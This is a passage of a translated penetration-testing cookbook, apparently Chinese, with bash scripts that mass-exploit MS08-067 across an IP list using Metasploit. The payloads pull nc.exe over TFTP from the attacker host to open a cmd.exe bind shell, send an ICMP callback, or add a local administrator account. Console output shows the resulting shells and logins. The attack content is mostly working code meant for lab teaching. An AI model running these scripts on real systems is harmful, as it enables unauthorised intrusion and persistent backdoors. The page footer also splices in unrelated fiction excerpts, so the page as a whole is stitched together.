Server username: NT AUTHORITY\SYSTEM 
meterpreter >

每個(gè)終端啟動(dòng)單獨(dú)的 MSFCLI 實(shí)例并執(zhí)行利用井辜。 假設(shè)攻擊成功,會(huì)執(zhí)行載荷管闷,并且交互式 Meterpreter shell 將在每個(gè)單獨(dú)的終端中可用粥脚。

工作原理

通過對每個(gè)進(jìn)程使用單獨(dú)的終端,可以使用單個(gè) bash 腳本執(zhí)行多個(gè)并行利用包个。 另外刷允,通過使用為LPORT分配的遞增值,可以同時(shí)執(zhí)行多個(gè)反向 meterpreter shell。

8.6 使用可執(zhí)行后門的多線程 MSF 利用

該秘籍演示了如何使用 bash 树灶,在多個(gè)系統(tǒng)上利用單個(gè)漏洞纤怒,并在每個(gè)系統(tǒng)上打開一個(gè)后門。 后門包括在目標(biāo)系統(tǒng)上暫存 Netcat 可執(zhí)行文件天通,并打開監(jiān)聽服務(wù)泊窘,在收到連接后執(zhí)行cmd.exe

準(zhǔn)備

要使用此秘籍中演示的腳本像寒,你需要訪問多個(gè)系統(tǒng)烘豹,每個(gè)系統(tǒng)都具有可使用 Metasploit 利用的相同漏洞。 提供的示例復(fù)制了運(yùn)行 Windows XP 漏洞版本的 VM诺祸,來生成 MS08-067 漏洞的三個(gè)實(shí)例携悯。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請參閱本書第一章中的“安裝 Windows Server”秘籍序臂。 此外蚌卤,本節(jié)還需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息奥秆,請參閱本書第一章的“使用文本編輯器(VIM 和 Nano)”秘籍逊彭。

操作步驟

下面的示例演示了如何使用 bash 腳本同時(shí)利用單個(gè)漏洞的多個(gè)實(shí)例。 特別是构订,此腳本可用于通過引用 IP 地址的輸入列表侮叮,來利用 MS08-067 NetAPI 漏洞的多個(gè)實(shí)例:

#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file>"; 
exit; fi

iplist=$1

for ip in $(cat $iplist) 
do   
    gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c \"tftp -i 172.16.36.239 GET nc.exe && nc.exe -lvp 4444 -e cmd.exe\"" RHOST=$ip E   
    echo "Exploiting $ip and creating backdoor on TCP port 4444" 
done 

此腳本與上一個(gè)秘籍中討論的腳本不同,因?yàn)榇四_本在每個(gè)目標(biāo)上安裝一個(gè)后門悼瘾。 在每個(gè)被利用的系統(tǒng)上囊榜,會(huì)執(zhí)行一個(gè)載荷,它使用集成的簡單文件傳輸協(xié)議(TFTP)客戶端來抓取 Netcat 可執(zhí)行文件亥宿,然后使用它在 TCP 端口 4444 上打開一個(gè)cmd.exe監(jiān)聽終端服務(wù)卸勺。為此, TFTP 服務(wù)將需要在 Kali 系統(tǒng)上運(yùn)行烫扼。 這可以通過執(zhí)行以下命令來完成:

root@KaliLinux:~# atftpd --daemon --port 69 /tmp 
root@KaliLinux:~# cp /usr/share/windows-binaries/nc.exe /tmp/nc.exe 

第一個(gè)命令在 UDP 端口 69 上啟動(dòng) TFTP 服務(wù)曙求,服務(wù)目錄在/ tmp中。 第二個(gè)命令用于將 Netcat 可執(zhí)行文件從Windows-binaries文件夾復(fù)制到 TFTP 目錄映企。 現(xiàn)在我們執(zhí)行./multipwn.sh bash shell:

root@KaliLinux:~# ./multipwn.sh 
Usage: #./script <host file> 
root@KaliLinux:~# ./multipwn.sh iplist.txt 
Exploiting 172.16.36.132 and creating backdoor on TCP port 4444 
Exploiting 172.16.36.158 and creating backdoor on TCP port 4444 
Exploiting 172.16.36.225 and creating backdoor on TCP port 4444 

如果在不提供任何參數(shù)的情況下執(zhí)行腳本悟狱,腳本將輸出相應(yīng)的用法。 該使用描述表明堰氓,該腳本應(yīng)該以一個(gè)參數(shù)執(zhí)行挤渐,該參數(shù)指定了包含目標(biāo) IP 地址列表的文本文件的文件名。 一旦以這個(gè)參數(shù)執(zhí)行双絮,會(huì)開始彈出一系列新的終端浴麻。 這些終端中的每一個(gè)將運(yùn)行輸入列表中的 IP 地址之一的利用序列得问。 原始執(zhí)行終端在它們被執(zhí)行時(shí)輸出進(jìn)程列表,并且表明在每個(gè)終端上創(chuàng)建后門白胀。 在每個(gè)終端中完成利用序列之后椭赋,Netcat 可以用于連接到由載荷打開的遠(yuǎn)程服務(wù):

root@KaliLinux:~# nc -nv 172.16.36.225 4444 
(UNKNOWN) [172.16.36.225] 4444 (?) open 
Microsoft Windows XP [Version 5.1.2600] 
(C) Copyright 1985-2001 Microsoft Corp.

C:\>

在提供的示例中抚岗,IP 地址為172.16.36.225的被利用的系統(tǒng)上的 TCP 4444 端口的連接或杠,會(huì)生成可遠(yuǎn)程訪問的cmd.exe終端服務(wù)。

工作原理

Netcat 是一個(gè)功能強(qiáng)大的工具宣蔚,可以用于各種目的向抢。 雖然這是遠(yuǎn)程執(zhí)行服務(wù)的有效方式,但不建議在生產(chǎn)系統(tǒng)上使用此技術(shù)胚委。 這是因?yàn)槿魏慰梢耘c監(jiān)聽端口建立 TCP 連接的人都可以訪問 Netcat 打開的后門挟鸠。

8.7 使用 ICMP 驗(yàn)證多線程 MSF 利用

該秘籍演示了如何使用 bash 利用跨多個(gè)系統(tǒng)的單個(gè)漏洞,并使用 ICMP 流量驗(yàn)證每個(gè)漏洞的成功利用亩冬。 這種技術(shù)需要很少的開銷艘希,并且可以輕易用于收集可利用的系統(tǒng)列表。

準(zhǔn)備

要使用此秘籍中演示的腳本硅急,你需要訪問多個(gè)系統(tǒng)覆享,每個(gè)系統(tǒng)都具有可使用 Metasploit 利用的相同漏洞。 提供的示例復(fù)制了運(yùn)行 Windows XP 漏洞版本的 VM营袜,來生成 MS08-067 漏洞的三個(gè)實(shí)例撒顿。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請參閱本書第一章中的“安裝 Windows Server”秘籍荚板。 此外凤壁,本節(jié)還需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息跪另,請參閱本書第一章的“使用文本編輯器(VIM 和 Nano)”秘籍拧抖。

操作步驟

下面的示例演示了如何使用 bash 腳本同時(shí)利用單個(gè)漏洞的多個(gè)實(shí)例。 特別是免绿,此腳本可用于通過引用 IP 地址的輸入列表來利用 MS08-067 NetAPI 漏洞的多個(gè)實(shí)例:

#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file>"; 
exit; fi

iplist=$1

for ip in $(cat $iplist)
do   
    gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c ping \"172.16.36.239 -n 1 -i 15\"" 
    RHOST=$ip E   
    echo "Exploiting $ip and pinging" 
done 

此腳本與上一個(gè)秘籍中討論的腳本不同唧席,因?yàn)檩d荷僅僅從被利用系統(tǒng)向攻擊系統(tǒng)發(fā)回 ICMP 回響請求。 在執(zhí)行ping命令并使用-i選項(xiàng)來指定生存時(shí)間(TTL)為15 時(shí)针姿。此備用TTL值用于區(qū)分利用生成的流量與正常 ICMP 流量袱吆。 還應(yīng)該執(zhí)行定制的 Python 監(jiān)聽器腳本,通過接收 ICMP 流量來識別被利用的系統(tǒng)距淫。 這個(gè)腳本如下:

#!/usr/bin/python

from scapy.all import * 
import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

def rules(pkt):   
    try:      
        if ((pkt[IP].dst=="172.16.36.239") and (pkt[ICMP]) and pkt[IP]. ttl <= 15):         
            print str(pkt[IP].src) + " is exploitable"      
    except:         
        pass

print "Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning" 
sniff(lfilter=rules,store=0) 

腳本偵聽所有傳入的流量绞绒。 當(dāng)接收到 TTL 值為 15或 更小的 ICMP 數(shù)據(jù)包時(shí),腳本將系統(tǒng)標(biāo)記為可利用榕暇。

root@KaliLinux:~# ./listener.py 
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning 

Python流量監(jiān)聽器應(yīng)該首先執(zhí)行蓬衡。 腳本最初不應(yīng)生成輸出喻杈。 此腳本應(yīng)該在開發(fā)過程的整個(gè)時(shí)間內(nèi)持續(xù)運(yùn)行。 一旦腳本運(yùn)行狰晚,應(yīng)該啟動(dòng) bash 利用腳本筒饰。

root@KaliLinux:~# ./multipwn.sh iplist.txt 
Exploiting 172.16.36.132 and pinging 
Exploiting 172.16.36.158 and pinging 
Exploiting 172.16.36.225 and pinging

當(dāng)執(zhí)行腳本時(shí),原始終端 shell 會(huì)顯示每個(gè)系統(tǒng)正在被利用壁晒,并且正在執(zhí)行ping序列瓷们。 還將為輸入列表中的每個(gè) IP 地址打開一個(gè)新的 GNOME 終端。 當(dāng)每個(gè)利用過程完成時(shí)秒咐,應(yīng)該從目標(biāo)系統(tǒng)發(fā)起 ICMP 回響請求:

root@KaliLinux:~# ./listener.py 
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning 
172.16.36.132 is exploitable 
172.16.36.158 is exploitable 
172.16.36.225 is exploitable

假設(shè)攻擊成功谬晕,Python 監(jiān)聽腳本會(huì)識別生成的流量,并將 ICMP 流量的每個(gè)源 IP 地址列為可利用携取。

工作原理

ICMP 流量似乎是一種用于驗(yàn)證目標(biāo)系統(tǒng)的可利用性的非直觀方式攒钳。 然而,它實(shí)際上工作得很好雷滋。 單個(gè) ICMP 回響請求在目標(biāo)系統(tǒng)上沒有留下任何利用的痕跡不撑,并且不需要過多的開銷。 此外晤斩,將 TTL 值設(shè)為 15 不太可能產(chǎn)生誤報(bào)焕檬,因?yàn)閹缀跛邢到y(tǒng)都以 128 或更高的TTL值開始。

8.8 創(chuàng)建管理賬戶的多線程 MSF 利用

該秘籍展示了如何使用 bash 尸昧,在多個(gè)系統(tǒng)上利用單個(gè)漏洞揩页,并在每個(gè)系統(tǒng)上添加一個(gè)新的管理員帳戶。 該技術(shù)可以用于以后通過使用集成終端服務(wù)或 SMB 認(rèn)證來訪問淪陷的系統(tǒng)烹俗。

準(zhǔn)備

要使用此秘籍中演示的腳本爆侣,你需要訪問多個(gè)系統(tǒng),每個(gè)系統(tǒng)都具有可使用 Metasploit 利用的相同漏洞幢妄。 提供的示例復(fù)制了運(yùn)行 Windows XP 漏洞版本的 VM兔仰,來生成 MS08-067 漏洞的三個(gè)實(shí)例。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息蕉鸳,請參閱本書第一章中的“安裝 Windows Server”秘籍乎赴。 此外,本節(jié)還需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)潮尝。 有關(guān)編寫腳本的更多信息榕吼,請參閱本書第一章的“使用文本編輯器(VIM 和 Nano)”秘籍。

操作步驟

下面的示例演示了如何使用 bash 腳本同時(shí)利用單個(gè)漏洞的多個(gè)實(shí)例勉失。 特別是羹蚣,此腳本可用于通過引用 IP 地址的輸入列表來利用 MS08-067 NetAPI 漏洞的多個(gè)實(shí)例:

#!/bin/bash

if [ ! $1 ]; then echo "Usage: #./script <host file> <username> <password>"; 
exit; fi

iplist=$1 
user=$2 
pass=$3

for ip in $(cat $iplist) 
do   
    gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c \"net user $user $pass /add && net localgroup administrators $user /add\"" RHOST=$ip E   
    echo "Exploiting $ip and adding user $user" 
done 

由于載荷不同,此腳本與以前的多線程利用腳本不同乱凿。 這里顽素,在成功利用時(shí)會(huì)依次執(zhí)行兩個(gè)命令咽弦。 這兩個(gè)命令中的第一個(gè)命令創(chuàng)建一個(gè)名為hutch的新用戶帳戶,并定義關(guān)聯(lián)的密碼胁出。 第二個(gè)命令將新創(chuàng)建的用戶帳戶添加到本地Administrators組:

root@KaliLinux:~# ./multipwn.sh 
Usage: #./script <host file> <username> <password> 
root@KaliLinux:~# ./multipwn.sh iplist.txt hutch P@33word 
Exploiting 172.16.36.132 and adding user hutch 
Exploiting 172.16.36.158 and adding user hutch 
Exploiting 172.16.36.225 and adding user hutch

如果在不提供任何參數(shù)的情況下執(zhí)行腳本型型,腳本將輸出相應(yīng)的用法。 該使用描述表明全蝶,該腳本應(yīng)該以一個(gè)參數(shù)來執(zhí)行闹蒜,該參數(shù)指定了包含目標(biāo) IP 地址列表的文本文件的文件名。 一旦以這個(gè)參數(shù)執(zhí)行裸诽,會(huì)開始彈出一系列新的終端嫂用。 這些終端中的每一個(gè)將運(yùn)行輸入列表中的 IP 地址之一的利用序列。 原始執(zhí)行終端將在執(zhí)行時(shí)輸出進(jìn)程列表丈冬,并顯是在每個(gè)進(jìn)程上添加的新用戶帳戶。 在每個(gè)終端中完成利用序列之后甘畅,可以通過諸如 RDP 的集成終端服務(wù)埂蕊,或通過遠(yuǎn)程 SMB 認(rèn)證來訪問系統(tǒng)。 為了演示添加了該帳戶疏唾,Metasploit SMB_Login 輔助模塊用于使用新添加的憑據(jù)遠(yuǎn)程登錄到受攻擊的系統(tǒng):

msf > use auxiliary/scanner/smb/smb_login 
msf  auxiliary(smb_login) > set SMBUser hutch 
SMBUser => hutch 
msf  auxiliary(smb_login) > set SMBPass P@33word 
SMBPass => P@33word 
msf  auxiliary(smb_login) > set RHOSTS 172.16.36.225 
RHOSTS => 172.16.36.225 
msf  auxiliary(smb_login) > run

[*] 172.16.36.225:445 SMB - Starting SMB login bruteforce 
[+] 172.16.36.225:445 - SUCCESSFUL LOGIN (Windows 5.1) hutch :  [STATUS_ SUCCESS] 
[*] Username is case insensitive 
[*] Domain is ignored 
[*] Scanned 1 of 1 hosts (100% complete) 
[*] Auxiliary module execution completed

SMB_Login輔助模塊的結(jié)果表明蓄氧,使用新創(chuàng)建的憑據(jù)登錄成功。 然后槐脏,這個(gè)新創(chuàng)建的帳戶可以用于進(jìn)一步的惡意目的喉童,或者可以使用腳本來測試帳戶是否存在,來驗(yàn)證漏洞的利用顿天。

工作原理

通過在每個(gè)利用的系統(tǒng)上添加用戶帳戶堂氯,攻擊者可以繼續(xù)對該系統(tǒng)執(zhí)行后續(xù)操作。 這種方法有優(yōu)點(diǎn)和缺點(diǎn)牌废。 在受淪陷系統(tǒng)上添加新帳戶比攻破現(xiàn)有帳戶更快咽白,并且可以立即訪問現(xiàn)有的遠(yuǎn)程服務(wù)(如 RDP)。 但是鸟缕,添加新帳戶并不非常隱秘晶框,有時(shí)可以觸發(fā)基于主機(jī)的入侵檢測系統(tǒng)的警報(bào)。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末懂从,一起剝皮案震驚了整個(gè)濱河市授段,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌番甩,老刑警劉巖侵贵,帶你破解...
    沈念sama閱讀 218,682評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異对室,居然都是意外死亡模燥,警方通過查閱死者的電腦和手機(jī)咖祭,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,277評論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來蔫骂,“玉大人么翰,你說我怎么就攤上這事×尚” “怎么了浩嫌?”我有些...
    開封第一講書人閱讀 165,083評論 0 355
  • 文/不壞的土叔 我叫張陵,是天一觀的道長补胚。 經(jīng)常有香客問我码耐,道長,這世上最難降的妖魔是什么溶其? 我笑而不...
    開封第一講書人閱讀 58,763評論 1 295
  • 正文 為了忘掉前任骚腥,我火速辦了婚禮,結(jié)果婚禮上瓶逃,老公的妹妹穿的比我還像新娘束铭。我一直安慰自己,他們只是感情好厢绝,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,785評論 6 392
  • 文/花漫 我一把揭開白布契沫。 她就那樣靜靜地躺著怎披,像睡著了一般积担。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上泻蚊,一...
    開封第一講書人閱讀 51,624評論 1 305
  • 那天靶病,我揣著相機(jī)與錄音会通,去河邊找鬼。 笑死嫡秕,一個(gè)胖子當(dāng)著我的面吹牛渴语,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播昆咽,決...
    沈念sama閱讀 40,358評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼驾凶,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了掷酗?” 一聲冷哼從身側(cè)響起调违,我...
    開封第一講書人閱讀 39,261評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎泻轰,沒想到半個(gè)月后技肩,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,722評論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,900評論 3 336
  • 正文 我和宋清朗相戀三年虚婿,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了旋奢。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,030評論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡然痊,死狀恐怖至朗,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情剧浸,我是刑警寧澤锹引,帶...
    沈念sama閱讀 35,737評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站唆香,受9級特大地震影響嫌变,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜躬它,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,360評論 3 330
  • 文/蒙蒙 一腾啥、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧虑凛,春花似錦碑宴、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,941評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽祸挪。三九已至锣披,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間贿条,已是汗流浹背雹仿。 一陣腳步聲響...
    開封第一講書人閱讀 33,057評論 1 270
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留整以,地道東北人胧辽。 一個(gè)月前我還...
    沈念sama閱讀 48,237評論 3 371
  • 正文 我出身青樓,卻偏偏與公主長得像公黑,于是被迫代替她去往敵國和親邑商。 傳聞我的和親對象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,976評論 2 355

推薦閱讀更多精彩內(nèi)容